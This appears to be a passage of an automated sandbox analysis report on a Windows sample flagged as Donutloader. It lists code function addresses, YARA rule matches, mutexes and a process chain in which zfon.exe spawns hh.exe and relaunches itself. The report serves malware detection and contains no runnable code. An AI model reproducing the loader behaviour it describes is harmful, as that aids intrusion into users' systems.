Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE52A60	6_2_000002DC4BE52A60
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE6A9C4	6_2_000002DC4BE6A9C4
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEB58DC	6_2_000002DC4BEB58DC
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE5DF4C	6_2_000002DC4BE5DF4C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE4CEC0	6_2_000002DC4BE4CEC0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEA8E70	6_2_000002DC4BEA8E70
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BEA7E34	6_2_000002DC4BEA7E34
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE69D20	6_2_000002DC4BE69D20
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 6_2_000002DC4BE77D14	6_2_000002DC4BE77D14
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB5DF9BC	7_2_000001CDCB5DF9BC
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB5DF58C	7_2_000001CDCB5DF58C
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB5E0464	7_2_000001CDCB5E0464
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB5DE2D4	7_2_000001CDCB5DE2D4
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8FB410	7_2_000001CDCB8FB410
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8FF350	7_2_000001CDCB8FF350
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8F6370	7_2_000001CDCB8F6370
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8F72D0	7_2_000001CDCB8F72D0
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8F7A60	7_2_000001CDCB8F7A60
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB921F88	7_2_000001CDCB921F88
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB90ADA0	7_2_000001CDCB90ADA0
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8F1500	7_2_000001CDCB8F1500
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB90B520	7_2_000001CDCB90B520
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB922204	7_2_000001CDCB922204
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8F80C0	7_2_000001CDCB8F80C0
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB907910	7_2_000001CDCB907910
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB91711C	7_2_000001CDCB91711C
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB91A6D8	7_2_000001CDCB91A6D8
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB91C6FC	7_2_000001CDCB91C6FC
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8F2E50	7_2_000001CDCB8F2E50
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8FADB0	7_2_000001CDCB8FADB0
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB917520	7_2_000001CDCB917520
Source: C:\Windows\hh.exe	Code function: 7_2_000001CDCB8F9480	7_2_000001CDCB8F9480
Source: C:\Windows\explorer.exe	Code function: 11_2_03073A07	11_2_03073A07
Source: C:\Windows\explorer.exe	Code function: 11_2_030735D7	11_2_030735D7
Source: C:\Windows\explorer.exe	Code function: 11_2_0307231F	11_2_0307231F
Source: C:\Windows\explorer.exe	Code function: 11_2_030744BB	11_2_030744BB
Source: C:\Windows\explorer.exe	Code function: 11_2_089201B0	11_2_089201B0
Source: C:\Windows\explorer.exe	Code function: 11_2_089261BC	11_2_089261BC
Source: C:\Windows\explorer.exe	Code function: 11_2_0891FA24	11_2_0891FA24
Source: C:\Windows\explorer.exe	Code function: 11_2_08917DBC	11_2_08917DBC
Source: C:\Windows\explorer.exe	Code function: 11_2_089225F0	11_2_089225F0
Source: C:\Windows\explorer.exe	Code function: 11_2_08919E44	11_2_08919E44
Source: C:\Windows\explorer.exe	Code function: 11_2_08912F20	11_2_08912F20
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF7F96EA920	26_2_00007FF7F96EA920
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF7F96E79C0	26_2_00007FF7F96E79C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF7F96EF060	26_2_00007FF7F96EF060
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF7F96E6FC0	26_2_00007FF7F96E6FC0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF7F9702170	26_2_00007FF7F9702170
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF7F970E5C0	26_2_00007FF7F970E5C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A93832B8	26_2_00007FF8A93832B8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9382AE0	26_2_00007FF8A9382AE0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9357AA8	26_2_00007FF8A9357AA8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9378950	26_2_00007FF8A9378950
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A937816C	26_2_00007FF8A937816C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A93581D8	26_2_00007FF8A93581D8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9356C74	26_2_00007FF8A9356C74
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9363410	26_2_00007FF8A9363410
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A93844A0	26_2_00007FF8A93844A0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A93773E0	26_2_00007FF8A93773E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A938A39E	26_2_00007FF8A938A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A937363C	26_2_00007FF8A937363C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9374608	26_2_00007FF8A9374608
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9364E10	26_2_00007FF8A9364E10
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9370E30	26_2_00007FF8A9370E30
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A93716F0	26_2_00007FF8A93716F0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9365E80	26_2_00007FF8A9365E80
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A938169C	26_2_00007FF8A938169C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9370570	26_2_00007FF8A9370570
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9386580	26_2_00007FF8A9386580
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A938A39E	26_2_00007FF8A938A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A93640E0	26_2_00007FF8A93640E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9371F10	26_2_00007FF8A9371F10
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9376720	26_2_00007FF8A9376720
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A9355FC8	26_2_00007FF8A9355FC8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8A938A39E	26_2_00007FF8A938A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 26_2_00007FF8BFB97CA0	26_2_00007FF8BFB97CA0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF7F96EA920	28_2_00007FF7F96EA920
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF7F96E79C0	28_2_00007FF7F96E79C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF7F96EF060	28_2_00007FF7F96EF060
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF7F96E6FC0	28_2_00007FF7F96E6FC0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF7F9702170	28_2_00007FF7F9702170
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF7F970E5C0	28_2_00007FF7F970E5C0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8028950	28_2_00007FF8A8028950
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A802816C	28_2_00007FF8A802816C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A80081D8	28_2_00007FF8A80081D8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8007AA8	28_2_00007FF8A8007AA8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A80332B8	28_2_00007FF8A80332B8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8032AE0	28_2_00007FF8A8032AE0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A803A39E	28_2_00007FF8A803A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A80273E0	28_2_00007FF8A80273E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8013410	28_2_00007FF8A8013410
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8006C74	28_2_00007FF8A8006C74
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A80344A0	28_2_00007FF8A80344A0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8020570	28_2_00007FF8A8020570
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8036580	28_2_00007FF8A8036580
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A803A39E	28_2_00007FF8A803A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8024608	28_2_00007FF8A8024608
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8014E10	28_2_00007FF8A8014E10
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8020E30	28_2_00007FF8A8020E30
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A802363C	28_2_00007FF8A802363C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8015E80	28_2_00007FF8A8015E80
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A803169C	28_2_00007FF8A803169C
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A80216F0	28_2_00007FF8A80216F0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8021F10	28_2_00007FF8A8021F10
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8026720	28_2_00007FF8A8026720
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A803A39E	28_2_00007FF8A803A39E
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A8005FC8	28_2_00007FF8A8005FC8
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8A80140E0	28_2_00007FF8A80140E0
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: 28_2_00007FF8AF887CA0	28_2_00007FF8AF887CA0

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: String function: 00007FF7F96E2520 appears 116 times
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: String function: 00007FF7F96EBF00 appears 36 times
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Code function: String function: 00007FF7F97A3D20 appears 68 times

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2000 -s 456

Source: VJQyKuHEUe.exe

Static PE information: invalid certificate

Source: VJQyKuHEUe.exe, 00000000.00000002.2526972950.00000000008F7000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameUNKNOWN_FILET vs VJQyKuHEUe.exe
Source: VJQyKuHEUe.exe, 00000000.00000002.2527120443.0000000000A7E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs VJQyKuHEUe.exe

Source: sslproxydump.pcap, type: PCAP	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 6.2.zfon.exe.7ff7f96e0000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000B.00000000.2552109850.0000000003050000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000006.00000002.2606324920.00007FF7F96E1000.00000020.00000001.01000000.0000000A.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 0000000B.00000002.2582901850.0000000003050000.00000040.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000005.00000002.2529216553.000001AB8875C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000007.00000002.4591031165.000001CDCB5B0000.00000020.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000006.00000002.2603939256.000002DC4BD60000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000000.00000002.2529667483.0000000002A4F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000006.00000003.2529019018.000002DC4A449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13
Source: 00000006.00000002.2604535605.000002DC4BEE7000.00000008.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Donutloader_f40e3759 os = windows, severity = x86, creation_date = 2021-09-15, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Donutloader, fingerprint = 6400b34f762cebb4f91a8d24c5fce647e069a971fb3ec923a63aa98c8cfffab7, id = f40e3759-2531-4e21-946a-fb55104814c0, last_modified = 2022-01-13

Source: classification engine

Classification label: mal100.evad.winEXE@23/25@5/5

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Code function: 5_2_00007FF8B90F12C0 GetDiskFreeSpaceExW,

5_2_00007FF8B90F12C0

Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe

Code function: 6_2_000002DC4BE45890 CreateToolhelp32Snapshot,Process32FirstW,CloseHandle,

6_2_000002DC4BE45890

Source: C:\Windows\hh.exe

7_2_000001CDCB8F6370

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

File created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314

Jump to behavior

Source: C:\Windows\hh.exe	Mutant created: \Sessions\1\BaseNamedObjects\????
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Mutant created: NULL
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2000
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Mutant created: \Sessions\1\BaseNamedObjects\Blizzard_Scene 0.1_sb

Source: C:\Windows\System32\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\eb0edcd1-a01c-464d-a74f-e69c15f1f014

Jump to behavior

Source: unknown

Process created: C:\Windows\explorer.exe

Source: VJQyKuHEUe.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: VJQyKuHEUe.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: VJQyKuHEUe.exe

ReversingLabs: Detection: 34%

Source: zfon.exe	String found in binary or memory: https://www.battle.net/shop/simplecheckout/loading
Source: zfon.exe	String found in binary or memory: https://www.battle.net/shop/simplecheckout/loading
Source: zfon.exe	String found in binary or memory: https://www.battle.net/shop/simplecheckout/loading
Source: zfon.exe	String found in binary or memory: https://www.battle.net/shop/simplecheckout/loading

Source: unknown	Process created: C:\Users\user\Desktop\VJQyKuHEUe.exe "C:\Users\user\Desktop\VJQyKuHEUe.exe"
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe "C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe"
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Windows\hh.exe C:\windows\hh.exe
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2000 -s 456
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 2000 -s 92
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe "C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe"
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: unknown	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: unknown	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: unknown	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe "C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe"	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Windows\hh.exe C:\windows\hh.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe "C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe"	Jump to behavior
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut
Source: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe	Process created: C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe C:\Users\user\Dota06d09731-01b5-4a5a-b3f9-22953fc5b314\zfon.exe /aut

Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\VJQyKuHEUe.exe	Section loaded: apphelp.dll	Jump to behavior
